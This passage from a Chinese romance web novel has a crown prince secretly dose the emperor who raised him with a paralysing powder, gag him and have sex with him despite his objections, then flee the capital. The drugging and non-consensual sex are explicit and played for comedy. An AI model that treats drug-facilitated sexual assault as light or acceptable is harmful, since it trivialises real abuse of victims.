他将那枚镇纸从明瑾手边拿走,放回了原位,背对着他,鎏金的眸光中带着几分怅然。 “御书房你也已经看过了,夜已深,该回去了。” 身后沉默着,没有传来回答。 晏祁狠下心来,闭了闭眼睛道:“你若执意想留,那便自己留在这里睡一晚上吧,朕如今后宫并无妃子,将来为了你的太子之位,也不会留下任何子嗣,但或许等明后年国内局势稳定时,会召开选秀……” “——晏祁。” 一道隐忍的声音自身后响起,晏祁眉头下意识皱起,转身望向后方。 明瑾猛地抬头,一双点漆黑眸中仿佛燃着两簇如有实质的怒火。 他上前一步,鼻尖几乎要贴上晏祁的脸颊:“那么多年了,耍我很好玩吗?” 晏祁下意识想要后退半步拉开距离,但这未免有示弱的嫌疑,身为长辈和男人的自尊心不允许他如此行事,于是他站在原地,没有动。 “朕何时耍过你?” “从一开始你隐姓埋名来我家的时候!”明瑾低吼道。 他现在早就把什么乱七八糟的旖旎心思丢到了脑后,胸膛被愤怒和委屈充斥,只能竭力睁大眼睛不叫泪水掉落——这太丢人了。 “你自己算算看,你骗我多少次了?”但不可避免的,他的声音还是带上了哭腔,“从姓名,到身份,再到感情……小爷我活到这么大岁数,就从来没被人骗得这么惨过!” 他揪着晏祁的衣襟,狠喘了两口气,看上去恨不得给对方的眼眶来上一拳似的:“要不是……要不是因为我喜欢你喜欢得要死了,像你这样的大骗子,老子早就不伺候了!” 晏祁终于没能支撑住两个人的身体,往后退了一步。 他的身体斜靠在桌沿边上,手掌撑住桌面维持平衡,却正好按到了镇纸上,刺痛自掌心传来,他却只是绷紧了唇线,一眨不眨地看着眼前泪流满面的少年,胸口后知后觉地传来沉闷的钝痛。 晏祁抬起手,指尖生理性地颤抖着,这么多年了,这个老毛病仍然好不了,但他却忽然有些庆幸,因为明瑾也知道这一点。 他想要拭去明瑾脸上的泪水,却被少年猛地扭头躲过了。 男人的手停滞在半空中,最终默默地放下了。 “你说的没错,”他轻声道,“所以,放下吧,不值得的。” 明瑾红着眼睛瞪着他,晏祁太熟悉他这样的表情了,倔强得像是头骡子,撞了南墙也不回头。 可一而再再而三,就算是无情无义的牲畜,也该知道此路不通了吧? 更遑论是人。 所以,为什么偏偏是他呢。 明明……有些话,只是他一个人的话,完全能够好好藏在心里一辈子的。 晏祁几乎想要苦笑了,但不等他把这个问题思考清楚,明瑾就从怀里掏出了一个金灿灿的玩意儿,强硬地塞到了他手里。 “这是……” 他目光一凝,有些不可置信地看了看手中的平安锁,又抬头望向已经松开手,侧身背对着他的明瑾,“它不是落在湖里了吗,你从哪里找来的?” “一段孽缘。”明瑾冷冷道,“就同你我一样。你若不想要,随便找哪条河沟扔了便是。” 晏祁不说话了。 明瑾知道这句话有多伤人,他恶劣地心想,活该!自己凭什么要给这老东西好脸色?就该让他痛一痛。 可听到男人陡然急促的呼吸声,明瑾却突然觉得,这法子似乎伤敌一千自损八百,不然他按理来说应该畅快无比的,怎么也会难受得要死呢? 他恨恨地抹了把眼泪,泪眼朦胧间,看到自己别在腰侧的香袋,想到自己上赶着的模样就觉得可笑,咬牙一把拽掉扔到角落里,大步朝门口走去。 “明瑾!” 明瑾脚步一顿,但他没有回头,只是冷冷道:“父皇怕是记错了,今日儿臣已在太庙认祖归宗,如今该叫儿臣晏瑾才对。” 明瑾这个名字,就和他这段有始无终的感情一起,永远沉在那座湖底吧。 晏祁弯腰捡起那香袋,那里面不知装了什么,还有些粉末洒出来,也被他小心拢起来,正准备装回去还给那孩子,听到这句话,他脚下一个踉跄,竟半跪在了地面上。 “咳咳……咳咳咳……” 身后传来撕心裂肺的咳嗽声,饶是明瑾在心底对自己说了一万遍不用管,是他活该,和自己无关,但身体还是诚实地偏转了些许角度—— “你——你打开它了!?” 晏祁看了一眼手里半散的香袋,又抬头看了看明瑾如此慌张焦急的模样,嘴唇嚅动着,想要解释,可突然身体完全失去了控制,晃了晃,竟就要这样倒下去。 明瑾一个箭步冲上来,扶住了他。 “怎么……回事?” 晏祁尚且能说话,但控制喉咙和嘴巴的肌肉也比往常困难许多,他艰难地从牙缝中挤出一句话,视线却执拗地追随着明瑾,带着几分复杂的小心翼翼。 明瑾不答,默默地一手捂住口鼻,一手飞快地把自己的外袍脱下,盖在了那堆粉末和香袋上。 “果然……是你搞的鬼。” 晏祁肯定道。 他的目光中没有多少愤怒或是惊恐,和当初就差没跪在他面前摇尾乞怜的晏珀不同,晏祁一向主张种什么瓜得什么果,明瑾是他亲手栽培长大,就算再愤怒,也不会冲动之下干出弑君谋逆之事。 就算他真做了,晏祁也不会反抗的。 所以没必要多此一举。 而且从这香袋来看,这小兔崽子明显是早有准备。 晏祁叹了口气,以一种看着顽皮孩子玩泥巴的纵容慈爱心态,看着明瑾哼哧哼哧地把自己抱到屏风后的软榻上,平躺着放好,然后一屁股坐在自己旁边,脸色一会儿青一会儿白,一会儿又诡异地飞起了一抹绯红,瞥向自己的眼神慢慢变得闪烁起来。 晏祁:? 他开始觉得不对了。 等到明瑾深吸一口气,开始伸手扒他的衣服,晏祁的脸色终于变了:“你、要干什么?” 明瑾恶狠狠地戳了戳他的脑门。 “你!” 晏祁险些一口气没上来。 就这么一晃神的功夫,他身上便被这小兔崽子扒得只剩下了一件里衣,眼瞅着明瑾盯着自己下半.身陷入了沉思,晏祁额头青筋跳动,拼命想要挣扎着抬手,但指尖却分毫未动。 “你敢!” “我有什么不敢的?”明瑾回过神来,望着男人无能狂怒的模样,终于露出了今天第一抹全然畅快的笑容,“父皇这模样,倒是比在大殿上、比方才都要顺眼许多啊。” 他故作轻佻,用指尖挑开晏祁仅剩的衣襟,在晏祁阴沉到极点的目光中,在男人宽阔紧实的胸膛上逡巡游曳,一副誓要把这么多年的憋屈一次性报复回来的架势。 晏祁张了张嘴,刚要说话,就被明瑾眼疾手快地塞了一团帕子进去,噎得他闷声咳嗽了半天。 好不容易等缓过来些,再打眼一瞧,这小混蛋已经骑在了自己身上,得意洋洋地耀武扬威,更是一口气顶在胸口无处发泄,憋得晏祁眼睛都红了。 “哎呀,以下犯上的感觉真好!”明瑾笑得春暖花开,虽然脸上还残存着泪痕,但这会儿他已经完全不伤心了,相反,得意的像是只尾巴都高高翘起来的小狐狸,“父皇应该也许久没发泄了吧?需不需要儿臣来帮您?” 他故作谦逊地问道,自然不可能得到晏祁的任何回应。 但明瑾也不生气,径自摸索过去,还主动掂量了一下重量,不禁咋舌,脸颊微红地凑到脸色铁青的晏祁耳畔,低笑道:“骗你的,不答应也帮。” 晏祁闷哼一声,注视着重新直起上半身的明瑾,眼神像是要冒出火来。 这小王八蛋…… 紧接着他眼皮狂跳,看到明瑾三下五除二把他扒了个干净,接着自己也脱得光溜溜,少年柔韧白皙的身躯在烛光下泛着玉石般的光泽,晏祁浑身绵软动弹不得,却只觉得某处截然相反,几乎刚挺得泛起了疼。 这小兔崽子,甚至还当着他的面,光着屁.股在衣袍里到处翻找东西! 晏祁恨不得把目光变为实质,狠狠戳在那股.缝之间,好好收拾一番这不知天高地厚的小崽子。 奈何心有余而力不足,明瑾问过张牧了,这药只需一指甲缝被人嗅入,就足以叫人动弹不得一个时辰,更何况晏祁是直接打开香袋装粉末,也不知道中间被他总共误吸了多少,但至少今天一晚上,他是别想动弹了。 明瑾找到自己珍藏的避火图,重新哼哧哼哧地爬回晏祁身上,一边看一边学一边实践,硬生生把晏祁逼得一头都是汗。 “好难啊。”他抱怨道,“不就是……嘛,怎么还这么多门道?” 这小混蛋居然还敢抱怨! 晏祁脸色僵硬,恨得咬牙切齿,干脆闭上眼睛,眼不见为净。直到身体传来异样的感受,这才猛地重新睁开双眼。 明瑾被他突然的挣扎吓了一跳,还以为是药效过了,吓得脸都白了,等发现这只是晏祁的垂死挣扎后,这才松了一口气。 还好还好。 “不至于反应这么大吧?”他有些悻悻地看着自己手中的香膏,“我只是抹前面呢。” 晏祁动了动嘴唇,明瑾犹豫了一下,还是把他的帕子拿走了。 “你……敢!” 他立马又把帕子塞了回去。 晏祁的目光看上去要杀人,明瑾拿着香膏犹豫了半天,最终还是叹了口气,决定不那么趁人之危了,毕竟虽然他能跑,但爹娘他们跑不了啊。 “我可不是怕了你啊,我是怕你这家伙小心眼,用爹娘威胁我,”他嘟嘟囔囔着给自己用上,没怎么太认真,注意到晏祁目光炯炯的视线,还有些难堪地一手捂住男人的眼睛,“不许看!” 这感觉,好奇怪啊。 他觉得麻烦又尴尬,有些自暴自弃地心想,干脆就这样吧。 “老东西,便宜你了……啊!” 身下男人的胸膛早就渗出了一层薄汗,片刻僵硬之后,更是上下起伏得剧烈,呼吸声一下比一下沉重,犹如一头被囚禁在牢笼中的野兽。 明瑾小声趴在他身上呜咽,根本顾不上晏祁感受如何,因为他实在太疼了。 怎么会这么疼?! 休息了半天,他这才强撑着爬起来,咬着牙继续,可只是直起身,就让他的脸色瞬间又白了几分。 要不,就这么算了吧? 明瑾脑海里闪过这样的念头。 他很委屈地想,这跟张牧给他的书上画的根本不一样啊! 根本一点儿也不爽,甚至还疼得要死,见鬼,为什么画里的那些人一脸陶醉享受的样子?还不如他自力更生来得痛快呢。 但随着慢慢适应,明瑾倒是也得了些趣,虽然他还是觉得有些隔靴搔痒,大部分的感觉就是撑得难受——可能是晚上吃的太多了,他现在甚至有点涨得想吐。 明瑾恼火地拍了一下晏祁的腹部,抱怨道:“都怪你,长那么大有什么用?” 晏祁似乎已经完全放弃了反抗,闻言,只是从喉咙深处挤出一声冷笑,掀起眼皮,目光森寒地刺过来,满脸都写着“你死定了。” 明瑾被他盯得心虚,抿着唇,动弹了两下,又累了,趴在他身上继续休息了一会儿,再动弹两下……一直这样折磨晏祁折磨了快一刻钟,这才颤抖着放松下来。 但他完事儿了,某人可还没有。 明瑾小心翼翼地跪坐在床边,看了看重新闭上眼睛,额头布满汗珠呼吸粗重的晏祁,哪怕再没良心,也觉得光顾着自己爽,好像确实有那么一点点没道德哈。 “哪个,我还是用手帮你吧。”他心虚道。 半时辰后。 明瑾气喘吁吁地扯下晏祁嘴里的帕子:“你怎么还没完事儿啊?是不是有毛病!” 被像根玉.势似的折腾了许久,这下终于能说话了,晏祁低低地咳嗽一声,嗓音沙哑得像是三天三夜没喝过水。 他死死盯着明瑾,说:“你很好。” 很好。 这就是他当做亲儿子一般,亲手养出来的孩子,脱了衣服骑在他身上,把他玩得欲.火焚身。 晏祁做梦也想不到,自己的珍视、退让和隐忍,换来的竟然是这小王八蛋急不可耐的——霸王硬上弓?还是应该说别的什么? 就这么欲.求不满,是吗! 明瑾看着他的手肘动了动,似乎想要撑起身子,眼睛都直了。 张牧可是说过,这药的效力都足够弄翻一头牛了啊! 卧槽,难不成晏祁比牛还厉害? 这要是真被他挣脱了,那他今天还有活路吗? 他吓得立马松开手,也不帮忙了,帮什么帮,毕竟自身难保——却还记得呱唧一下,又把帕子强塞了回去,然后跌跌撞撞地跑到边上,三下五除二地换好衣裳,竟然当着晏祁的面,就这么跑了! 就这么跑了! 甚至晏祁还听到,他在门口吩咐那些宫人,冠冕堂皇地说什么“父皇操劳国事,孤已经伺候他在书房睡下了,闲杂人等切勿进入打扰”。 呵,原来这就是他口中的“伺候”! 这一番感天动地的孝心,真真是叫人刻骨铭心——一辈子都忘不掉了! 晏祁气得浑身颤抖,再也忍不住,倒在榻上,怒极反笑地喘.息起来。 很好,很好! 这小王八蛋,给他等着!!!—— 作者有话说:为小明同学点一根蜡[求求你了][求你了] 推一推下本要开的文!《龙傲天的病美人师尊》古耽仙侠师徒,有喜闻乐见的死遁情节[狗头叼玫瑰]文案如下求收藏: 宫泊,修仙者梦寐以求的天阶炉鼎。 因遭人设伏围攻,自毁肉身,目前正寄居在一件残破法宝中苟延残喘。 ——按照前世阅读的龙傲天小说,此时正是收徒复仇的好时机。 经过数年潜心观察,宫泊拟定了一份预备龙傲天名单: 第一位候选人是个善良到损己利人的废柴。 看不上眼,直接pass。 第二位候选人是个心狠手辣修无情道的废柴。 他不想被杀师证道,再度pass。 第三位候选人是个身世凄惨孤苦伶仃的废柴。 宫泊怀疑他可能黑化变gay,犹豫后pass。 …… ………… 第一千零一个预备龙傲天,是个处处走桃花运的傻小子。 还是个穿越者老乡。 很好,buff叠满了。 宫泊收他当了徒弟。 但留了个心眼,没告诉这小子自己也是穿越者。 后来还利用他给自己换了个身体。 作为补偿,宫泊炼化了原先的炉鼎之身,送给徒弟当了法宝,自己则趁机闭关修炼去了。 再次醒来,已是十年后。 他的好徒弟果然没死,没欺师灭祖,也没有黑化。 不仅如此,还成为了修真界人人敬仰的仙尊。 但宫泊百思不得其解—— 他怎么还是变gay了!? 【cp小剧场】 “师父师父,您能再讲一次您在一千多个人里选中徒儿的故事吗?” 宫泊:“……逆徒,先把你的爪子收回去!” 修真界特级教师·病美人师尊受X史上第一师宝男·穿越龙傲天攻 双穿越,传统升级流修仙,强强,1v1HE。 第73章 给他一个终身难忘的教训…… “张牧!” “张牧你睡了没?快开门啊!十万火急!” 深更半夜, 张牧卧房的窗户外传来一阵急切的呼唤,张牧睡眼惺忪地爬起来,推开房门:“你有病吧, 大半夜的不睡觉?” 明瑾一把抓住他的胳膊, 定定地看着他。 “好兄弟, ”他说,“接下来就全靠你了。” 张牧瞬间清醒过来, 上下打量了他一番, 震惊道:“你真得手了?这么快?!” 明瑾干咳一声,躲开他的视线:“现在不是说这些的时候,总之出城的马车我已经准备好了,陈叔山也已经把阿囡和我们要带的行李都搬上车了,李司那边, 我怕半夜敲他家门会被管家轰出来, 元栋……元栋我不敢跟他讲。” 他重重地拍了拍张牧的肩膀:“思来想去, 临走前, 我要打招呼的人就只剩下你了。” 张牧脸色惨白:“别啊!陛下要是知道你最后来找的人是我,我的九族可担待不住!” 明瑾不怎么走心地宽慰道:“他没有这么小心眼。” ——才怪。 他想到临走前晏祁紧盯着自己的眼神, 亮得几欲噬人,不禁暗暗抖了下身子,心虚地想,或许等过段时间后就自己消气了吧。 “而且我来你这儿, 他又不知道。” 人还瘫巴着呢,就是不清楚那玩意儿消停了没。 明瑾边说边不动声色地换了边重心站着。 没办法, 屁股还疼着呢。 他摆了下手,很没有良心地说道:“走了啊,元栋李司那边, 记得帮我打声招呼,等我和婉南他们到地方了,会想办法给你寄信的。” 张牧怔怔地望着明瑾月下远去的背影,直到谢婉南从马车里探出头来,给上车时面有菜色的明瑾搭了把手,他这才倒吸一口凉气。 以前怎么没发现,兄弟你这么勇呢? “她怎么也在?”他指着谢婉南大喊道。 “嘘!你是想把左邻右舍都吵醒吗?”明瑾被他的激动吓了一跳,赶紧阻止道,“她家里的事你又不是不知道,我正好要北上,就捎她一程呗,正好阿囡一个姑娘我和陈叔山两个男人又不方便照顾,有她在阿囡也高兴。” 阿囡坐在车厢里用力点头,谢婉南笑眯眯地搂住了她,抬头对张牧说道:“前辈不必担心,我能照顾好自己和阿囡的。” 我又不是在担心你! 张牧一言难尽地把目光投向明瑾,在发现自己这个兄弟是真的毫无知觉后,终于明白,为什么他能和陛下走到一起了。 从某种角度,这俩真是天生一对。 “算了,当我什么都没说,”他抹了把脸,最后叮嘱明瑾,“出门在外一定要小心,需要人手钱财或者遇到什么困难,你就寄信过来,实在解决不了的也千万别硬抗。” 他着重强调:“记住自己现在的身份,要是你掉了一根汗毛,那我们这些人,一个都跑不掉。” 碍于谢婉南在场,张牧没直接把话挑明。 但明瑾明白他的意思,点头应下了。 但在临走前,他偷偷跟张牧说了一声:“赶紧把你珍藏的那些避火图都烧了吧,全是骗人的玩意儿。” 张牧:? 等他反应过来,想要询问明瑾这是什么意思时,马车已经走远了。 依旧是陈叔山负责驾车,旅途漫长,他便没有带上妹妹,而是托给了明家照顾,每日吃喝穿戴不愁,住的也是靠近明府的一栋小院,为了保障安全,还养了两条大狗看家护院。 晨曦微亮之时,几人赶在头一波出了城。 “奇怪,怎么感觉城里气氛变了?” 刚离开城门不远,谢婉南探头回望,看着城门关隘处忽然变多的官兵,不禁生出了些许疑惑。 明瑾揉了揉鼻子,猜测八成是晏祁能活动了吧。 不过,还是迟了一步。 骏马疾驰间,他依靠在车厢壁上,迎着朝阳的清风,举目望去,高山万仞乾坤阔,山川湖景尽收眼底,一时只觉得神清气爽,仿佛日月星辰皆可攀。 这才是他梦想中的人生嘛! “话说,方才前辈那句话是什么意思?什么叫‘记住自己现在的身份’?” 明瑾扭头看向目露好奇的谢婉南,试探道:“你当真不知?” 谢婉南莫名道:“我该知道什么吗?” “那你先前,为何要同我说太子的消息?” “啊,你爹之前不是被二皇子谋逆一事牵连了吗,我就觉得,明家的产业肯定有部分与皇室有关。”她很自然地回答道,“虽然不知道为何这次新皇大赦天下,连谋逆罪也一并宽赦了,但我会有此猜测,也是很正常的事情吧。” 明瑾仔细观察了她说话时的神情,并无什么异样,这逻辑听上去也的确没什么问题,便笑道:“那若是我告诉你,我就是如今的大雍太子呢?” “什么?那我还是皇太后呢!” 谢婉南明显不相信,哈哈笑了两声,只当明瑾是在同她说笑。 明瑾耸了耸肩,不信的话,他也没办法了。 陈叔山有些担忧地凑过来,低声问道:“少爷,告诉她没关系吗?” “没事,我也只是试探一下。”看看谢婉南是不是什么人给他设的套。经过这段时间在宁王府的磨砺,和晏祁从小到大的言传身教,明瑾早就不是别人说什么就信什么的天真少年了。 张牧说得没错,以他的身份,无论他愿意还是不愿意,都会有无数别有用心之人凑到他身边来。 也正是因此,明瑾就更加珍惜这么多年来,一直陪伴在他身边的这几位。 ……希望元栋知道后不要太生气吧。 马车颠簸,明瑾默默地又在屁股底下塞了个软垫。 至于另一位最该生气的人现在是个什么样的态度,已经不在他的考虑范围内了。 * “咳咳……” 清晨薄雾未消,晏祁扶着墙,踉跄地走出御书房。 他头发披散,身上只穿了一件皱巴巴的里衣,衣襟还大敞着,一双金眸布满血丝,表情恐怖得像是刚吸了十年份怨气的恶鬼。 值守的内宦扭头一看,险些惊掉下巴。 “陛……陛下,您这是怎么了!?” 他赶忙上前想要搀扶,却被晏祁一把挥开,咬牙道:“叫金柳过来见朕!” 声音更是嘶哑得仿佛砂纸摩擦一般。 金柳很快过来了,远远就听见晏祁在吩咐人严查四方城门,城里更是不能放过,要仔仔细细地搜查。 他唇角隐蔽地勾了一下,当晏祁的视线望过来时,毫无异样地上前见礼:“臣金柳,参见陛下。陛下万岁……” “好了,这些没必要的话就不用多说了,”晏祁冰冷道,他坐在座位上,指尖揉捏着胀痛的眉心,身体内部的酸软无力让他内心蓬勃的愤怒再上一层楼,“太子人呢?” 金柳一脸疑惑:“太子?太子不应该在明府吗?” “再给朕装傻,朕现在就立刻让你与你的那些前辈们作伴去。” 金柳毫不犹豫地双膝跪地:“陛下赎罪!臣也实在是没有办法,太子命臣配合他的出城计划,还威胁臣无论如何都不能提前告知您,臣一时惜命……” “你惜命!朕看你的胆子都快要比天还大了!” 晏祁终于压抑不住怒火,狠狠一拍身下座椅的扶手,死死盯着伏在地上的金柳道:“这么多年,朕唯一看不透的人就是你。金柳,你究竟要什么?你跟随朕反了晏珀,又要教唆太子反了朕,求的难不成是功名利禄?这些朕难道没有给你吗!” 金柳沉默片刻,忽然慢慢直起了上半身,面上重新露出了那抹仿佛万事不挂心的玩味笑容。 “回陛下的话,”他的语气依旧恭敬,“臣这一生,不求功名利禄,只是打小就有个坏毛病,爱制造热闹,也爱看别人家的热闹。” “朕的热闹,你也敢看,”晏祁冷冷道,“就不怕掉脑袋吗?” “臣不怕死。” 金柳笑了笑:“或许先帝临死前,有一件秘闻未曾告知与您——臣出身卑贱,是娼妓之子,在花楼里给人表演过杂耍揽客,也是先帝的入幕之宾,是先帝亲手把臣从那个腌臜地方带出来的,只是不过几日,便又厌弃了而已。” “但也正因此,臣得了一笔奖赏,和一个新的身份,一段截然不同从前的人生。”他直视着晏祁阴晴不定的金眸,平静的口吻仿佛是在诉说另一个人的经历,“改名换姓那年,臣才十八。” “你说这些,是想让朕同情你,留你一命?” “非也。” 金柳从容道:“陛下并非真心想杀臣,否则就不会唤臣来宫中当面质询,而是派锦衣卫将臣抓捕下狱了。” “臣说这些,只是想提醒陛下,色衰而爱驰,太子这次主动离去,反倒对您、对大雍来说都是件好事。殿下不愿继承大统,您也可以趁机放手,避免将来遭到世人的口诛笔伐——” “放手?” 晏祁从喉咙深处挤出一声冷笑:“若是你早一天来同朕说这番话,朕或许当真会听。只是现在,晚了!” 金柳一愣,脸上头一次露出了意料之外的神情。 他的确给明瑾行过方便,不然凭借现在的太子,想要出宫、出城绝不可能如此简单快速。 但金柳一直以为,明瑾是打算跟晏祁摊牌后再离开,但从陛下这副激烈的反应看,似乎,不止是摊牌? 等一下,太子该不会是…… 金柳的视线注意到晏祁锁骨上的牙印,犹如灵光一现,赶忙低下头去,心中震惊不已——太子,也太勇猛了! 不过他究竟是怎么办到的? “有一点你猜对了,朕的确不打算杀你,”晏祁屈起手指,不耐烦地敲了两下扶手,“但死罪可免,活罪难逃。你放出去的人,就由你负责抓回来,等见到太子之后,朕再考虑对你的处置。” 金柳应了声是,又忍不住好奇,询问道:“那臣斗胆询问一句,不知陛下打算如何处置太子?” 晏祁的嘴唇动了动。 他的视线越过金柳,直勾勾地望向偏殿之外,平静的声线里,莫名让人听出了咬牙切齿的意味: “放心,一个都跑不了。朕,定会给他一个终身难忘的教训!”—— 作者有话说:距离攻受再次见面倒计时开始!让我们恭喜某个老顽固终于想开了[狗头]人的底线就是这样,只要被打破一次后就开始破罐子破摔~ 第74章 叫他连哭都哭不出来…… 三个月后。 张牧大摇大摆地来到明家名下的酒楼, 在掌柜热情的迎接中,独自霸占了二楼最好的包厢。 但他只点了一碟花生,两壶小酒, 还有半斤切好的卤牛肉。 而且坐了还没一炷香的功夫, 就嚷嚷着叫小二打包带走。 掌柜的也不恼, 好声好气地把这位爷送走之后,旁边的小二不解问道:“掌柜的, 就算他是明少爷的兄弟, 也没必要这样吧?就买这么点儿吃食,还用得着请上二楼吗。” “你懂个屁,”掌柜的一巴掌呼上他的后脑勺,“张少爷这哪里是来买吃的?明明是……” 他忽然闭上了嘴巴,警觉地环顾周围, 确认过四周的宾客们都在忙着和同伴交谈畅饮、没人注意他们这边后, 这才松了口气。 “掌柜的?” “总之, 伺候好这位爷就是了, 别的也不干咱们的事。”掌柜的敷衍道,余光正好看见又一位大主顾下楼, 脸上立刻挂起笑容,忙不迭地迎了上去。 忙碌一整天,终于到了傍晚酒楼关门,有了片刻清闲时间。 掌柜的坐在桌子前, 就这一盏油灯翻看账本。 忽然,一道阴影自上而下投来, 他唬了一跳,刚要抬头骂哪个不长眼的家伙大半夜装神弄鬼,待看到来人模样后, 骂声霎时噎在了喉咙里。 “李掌柜的,”金柳笑眯眯道,“应该知道我是为何事而来的吧?” 李掌柜火烧屁股似的跳起来,战战兢兢道:“指挥使大人来此,陋室蓬荜生辉,只、只是咱们今日已经打烊了,大人不如明日再来?” 金柳笑容不变:“我不是在跟你商量。告诉我,给你寄信的人是谁?” 李掌柜的愣了:“信?什么信?” 金柳眯眼盯着他,目光中终于流露出了一丝诧异。 “没有信?”他喃喃道,“怎么可能?” 张家那小子,隔三差五来明家酒楼,怎么可能只是为了买那几道下酒菜? 饶是金柳一向处变不惊,此时心中也难免升起了些许焦躁。他本以为,明瑾只是和陛下闹脾气,最多跑到京城附近,不会超过三百里,住个几天,也就乖乖回来了; 谁知这整整三个月过去,一行人竟宛如石沉大海一般,丝毫不见踪影! 陛下的态度也从一开始的暴怒,逐渐到后来沉默压抑,虽自那日后未再同他提过什么惩罚之事,但金柳反倒真的担心起来——多年习惯了刀尖上跳舞,他对真正的危险一向嗅觉敏锐。 要不是京城这边,太子的几位要好同伴都还老实待在城内,尤其是张家那小子还是吃吃喝喝一如往常,估计陛下早就…… 金柳啧了一声,开始后悔自己当初主动向明瑾示好了。 他看得明白,晏祁和明瑾之间,根本不能用传统的君臣父子关系来定义,也正因此,向明瑾效忠的效果,反而比单纯向晏祁效忠更好。 这也是那日被传召至宫中,他敢有恃无恐的真正原因。 但要是太子一直不回来,那他这番作为,就无异于作死了。金柳就算再爱看热闹,也没想过真把自己搭进去。 所以…… “把今日张家小子来酒楼的前后经过,详细复述一遍,”他回过神来,朝李掌柜温和一笑,却叫对方下意识哆嗦起来,“不然的话,就只好请李掌柜随我们走一趟了。” 李掌柜欲哭无泪。 少爷啊!不是他不想帮您,实在是敌人太恐怖,他一个人招架不住—— 还好,明瑾摇身一变成太子的消息,在册封仪式后就传遍了京城,而金柳作为锦衣卫指挥使,代表着的是陛下的旨意,李掌柜又恰好是明家少数几个知晓陛下就是宁先生的人。 这会儿被金柳一恐吓,根本不用屈打成招,他就乖乖把自己知道的所有事情全坦白了。 “居然想到在牛肉上写字传达消息,”晏祁看着金柳递上来的报告,表情复杂,“这小混蛋,这次可真是卯足了劲儿对付朕啊。” 他的确教过明瑾一些战时加密传达军情的方法,只是没想到,这小混蛋受此启发,竟然把这招数用在了他身上。 “陛下,可需要把张家那小子捉来审问?” “不必了,要真这样,那小王八蛋就算回来肯定也要闹翻天,”晏祁冷着脸道,“继续严密监视吧,这次的动静明家的掌柜肯定会告诉他们,等他们换了其他的传讯方式,再想办法抓到传递消息的人。” “是。” 金柳露出了一脸了然的表情。 虽然一口一个“小混蛋”、“小王八蛋”的骂着,不过陛下这番态度,看上去倒还挺满意的? 难道只是因为太子长本事了,没这么快被锦衣卫抓回来吗? ……果真是溺爱啊。 只是他接下来要说的话,可能就没有那么让陛下高兴了。 “陛下,那明家掌柜还交代了一件事,说前些日子,明敖特意吩咐他们这些掌柜,若是谢家人上门,价钱一律便宜一半。” 金柳垂首道:“臣后来又派人去谢家打听了一番,才知道原来那谢婉南,早在三月前,便不见了踪影,只是谢家一直对外宣称是小女抱病。” 说完,他静静等待着怒火的降临。 但几息过去,上首的晏祁除了呼吸粗重了些外,竟再无其他动静。 “朕知道了,”许久后,冰冷的声音响起,“你下去吧,若有其他关于太子的消息,记得第一时间上报。” “臣遵旨。” 晏祁能保持冷静的原因很简单——他知道,明瑾不是那种会随意带着姑娘私奔的登徒子,如此没名没分,叫那姑娘将来如何被人看待?其中必定另有隐情。 但这并不妨碍他压在心底的怒火再度高涨三分。 很好。 他在心中原本就画满了道道痕迹的小本子上,又狠狠替那小混蛋记了一笔。 跑吧,再跑远点。 要是有能耐,最好一辈子都别让他找到! 晏祁冷笑着想,不然的话…… 那天晚上屈辱的画面再度浮现在脑海中,少年紧抿着唇,骑在他身上,眉头将蹙未蹙,白皙俊秀的脸庞上露出了一种介于欢愉和痛苦之间的神情,只是那身子被他养得娇气精贵得很,才动了几下,就趴在他身上,小口小口地喘着气,任他忍得血脉贲张满头大汗,恨不得用眼神上去帮忙,也懒得再动弹一下。 对于一个男人,尤其是一个洁身自好几十年的老男人来说,这简直是比酷刑还可怕的惩罚。 天知道那时候,晏祁有多想起身把他按在身下,先把这小王八蛋的屁.股打得通红,再叫他连哭都哭不出来! “啊嚏!” 瑟瑟寒风中,明瑾裹紧了身上的裘衣,疑神疑鬼道:“最近是不是有人在背后骂我?” “是衣服穿少了吧,少爷,”陈叔山扛着柴火从外面回来,闻言关切地问道,“要不要我去街上再给您买件袄子?” 明瑾摇了摇头:“不用,添俩柴火就行。” 出身江南,这是他第一次感受到北方冬日的威力,明瑾哆哆嗦嗦地坐到火炉边上,一边烤火一边望着窗外呼啸的风雪,心有余悸地想,这只是大雍边境,还没到真北边呢,也不知道胡人是怎么在那种严寒之地生存下来的。 谢婉南拿来了几个红薯,放在炉子上烤着,身为目前队伍里唯一的姑娘,她看上去倒是对这严寒天气适应良好。 而阿囡早在几日前,就被他们送到了她的家人那里。 自晏祁登基后,出于稳固统治和笼络人心的需要,也出于他的某些私心,曾经遭受晏珀迫害的那些老臣陆续被免罪提拔,流放的家眷们也都得到了赦免。 但其中大部分人,都没能真正等来这一天。 只有他们遗留于世的家人为之痛哭哀悼,跪谢新帝的恩典。 一路走来,明瑾已经看到了太多这样的场景,不免为之唏嘘,也更加确定了,先生一定会成为一位远胜前任、青史留名的明君。 所以身为太子,他只要躺平就好了嘛! 明瑾接过谢婉南递来的烤红薯,道了一声谢,但并没有立刻吃,而是用帕子包了,用来捂手。 “你今天上街,可有打听到什么消息?”他询问陈叔山。 谢婉南遵循约定,在出城后就告诉他了关于前太子的事情,她说谢家书香门第,到了她父亲这一代,虽未曾入朝为官,但也曾和朝中一些坚定的太子党交好。 其中就包括了魏家的长子,魏伯贤。 明瑾实在不明白,魏相死后,魏金宝那家伙不都被他带着人扭送进大牢了吗,为什么这里也能有魏家的事? 但按照谢婉南的说法,魏相那时已经看出了宁王之势不可阻挡,自己有心想争,却因为身体问题无力回天,为给魏氏血脉留下一线生机,便佯装与长子决裂,将魏伯贤逐出了家门。 事实上,在新帝登基前,魏伯贤一直与京中有联系,但他比魏金宝要强,也更有耐心,即使魏相去世、弟弟魏金宝被下狱都未曾露面过。 同一日内,先帝死于大火,太子落水惊厥,虽说宁王是被先帝自己传召入宫,中途还参与了救火,有充分的不在场证明,但很多人仍觉得太过巧合,魏伯贤自然也在其中。 谢婉南说,新帝登基后,她父亲曾在家中说过,接下来一段时间京中恐怕不会太平。 果然,没过多久,太子便“疯了”,与此同时,太子母族所在的郑城,就传出了家主重病,要闭门谢客的消息。 明瑾听她说完,顿时恍然大悟。 他终于明白,自己这趟旅程为何会处处有惊无险,偷溜得这么成功了。 一方面是他的确害怕被晏祁秋后算账,警惕心十足,前期的计划也做得相当完备;另一方面,也有晏祁有心想让他离京避避风头的缘故,锦衣卫才没有大张旗鼓地找人。 不然晏祁一声令下,全国通缉,他们一行人,恐怕连京城外两百里都走不出去,就得被人乖乖押送回去。 明瑾想通了之后,在外面待的就更加心安理得了。 就像是谢婉南父亲所说的那样,眼下正值多事之秋,他这个现太子暴露在人前,难免会成为心怀不轨之人针对晏祁的靶子。 